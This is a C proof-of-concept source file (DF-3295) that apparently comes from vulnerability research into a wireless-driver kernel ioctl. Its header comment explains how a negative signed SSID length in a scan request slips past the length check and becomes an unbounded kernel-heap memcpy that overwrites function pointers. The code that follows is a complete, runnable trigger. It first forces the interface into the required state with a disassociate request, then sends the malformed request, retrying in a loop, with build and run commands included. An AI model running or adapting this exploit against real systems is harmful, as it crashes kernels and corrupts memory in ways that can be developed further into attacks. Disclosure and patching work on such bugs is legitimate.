DF-3295 / scanreq.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 | /* * scanreq.c -- DF-3295 PoC trigger. * * SIOCS80211 IEEE80211_IOC_SCAN_REQ with a *negative* sr_ssid[0].len. * The validation in ieee80211_scanreq() (sys/netproto/802_11/wlan/ * ieee80211_ioctl.c:2495-2497) only rejects len > IEEE80211_NWID_LEN: * a signed int of -1 passes, and the S_INIT stash branch then does * * vap->iv_scanreq_ssid[0].len = -1; * memcpy(vap->iv_scanreq_ssid[0].ssid, <- 32-byte array inside vap * sr->sr_ssid[0].ssid, <- 32-byte array inside kmalloc'd sr * sr->sr_ssid[0].len); <- (size_t)(-1) * * (ieee80211_ioctl.c:2536-2540) => unbounded linear kernel-heap copy: * source walks off the 128-byte kmalloc'd ieee80211_scan_req, destination * walks off iv_scanreq_ssid[0].ssid through the remainder of the * ieee80211vap (function pointers: iv_newstate, iv_reset, iv_key_alloc...) * and beyond, until a fatal page fault. * * Preconditions (see run.sh): * - wlan vap in STA mode, interface UP (ic_nrunning != 0) * - vap in IEEE80211_S_INIT so the stash branch runs: * freshly-UP STA vaps are in S_SCAN, so we first push it back to * S_INIT with an MLME DISASSOC (ieee80211_ioctl.c:1396-1400 does * ieee80211_new_state(vap, IEEE80211_S_INIT, ...) for STA mode) * while keeping the interface UP. * * Privilege: root (SIOCS80211 requires SYSCAP_NONET_WIFI, * ieee80211_ioctl.c:3472) -- same privilege as wpa_supplicant. * * Contrast DF-0642: that is the signed *sr_nssid* (-1) flowing to * ieee80211_scan_copy_ssid in ieee80211_scan.c via the *non-INIT* * branch. This is the signed *sr_ssid[].len* flowing to the ioctl.c * memcpy in the *INIT* branch -- different field, different sink, * complementary preconditions. * * build: cc -O -o scanreq scanreq.c * run: ./scanreq wlan0 */ #include <sys/types.h> #include <sys/ioctl.h> #include <sys/socket.h> #include <net/if.h> #include <errno.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <err.h> #include <netproto/802_11/ieee80211_ioctl.h> static int do_mlme_disassoc(int s, const char *ifname) { struct ieee80211req ireq; struct ieee80211req_mlme mlme; memset(&ireq, 0, sizeof(ireq)); strlcpy(ireq.i_name, ifname, IFNAMSIZ); ireq.i_type = IEEE80211_IOC_MLME; ireq.i_len = sizeof(mlme); ireq.i_data = &mlme; memset(&mlme, 0, sizeof(mlme)); mlme.im_op = IEEE80211_MLME_DISASSOC; mlme.im_reason = IEEE80211_REASON_AUTH_EXPIRE; return ioctl(s, SIOCS80211, &ireq); } static int do_scanreq_negative_ssidlen(int s, const char *ifname) { struct ieee80211req ireq; struct ieee80211_scan_req sr; memset(&ireq, 0, sizeof(ireq)); strlcpy(ireq.i_name, ifname, IFNAMSIZ); ireq.i_type = IEEE80211_IOC_SCAN_REQ; ireq.i_len = sizeof(sr); ireq.i_data = &sr; memset(&sr, 0, sizeof(sr)); sr.sr_flags = IEEE80211_IOC_SCAN_ACTIVE | IEEE80211_IOC_SCAN_ONCE; sr.sr_duration = 1000; /* ms, within [MIN,MAX] */ sr.sr_mindwell = 0; sr.sr_maxdwell = 0; sr.sr_nssid = 1; sr.sr_ssid[0].len = -1; /* SIGNED: passes "len > 32" check */ memset(sr.sr_ssid[0].ssid, 0x41, IEEE80211_NWID_LEN); printf("firing SCAN_REQ: sr_nssid=%d sr_ssid[0].len=%d\n", sr.sr_nssid, sr.sr_ssid[0].len); fflush(stdout); return ioctl(s, SIOCS80211, &ireq); } int main(int argc, char *argv[]) { const char *ifname = argc > 1 ? argv[1] : "wlan0"; int s, i, rc; s = socket(AF_INET, SOCK_DGRAM, 0); if (s < 0) err(1, "socket"); /* * The vap must be UP (nrunning != 0) AND in S_INIT. Retry a few * times in case a queued scan task re-enters S_SCAN between the * MLME and the SCAN_REQ. */ for (i = 0; i < 10; i++) { rc = do_mlme_disassoc(s, ifname); printf("mlme DISASSOC -> %d (errno %d)\n", rc, errno); fflush(stdout); rc = do_scanreq_negative_ssidlen(s, ifname); printf("scanreq -> %d (errno %d)\n", rc, errno); fflush(stdout); if (rc == 0) break; /* stash branch ran; kernel is dead */ usleep(200000); } printf("still alive after %d attempts\n", i + 1); return 0; } |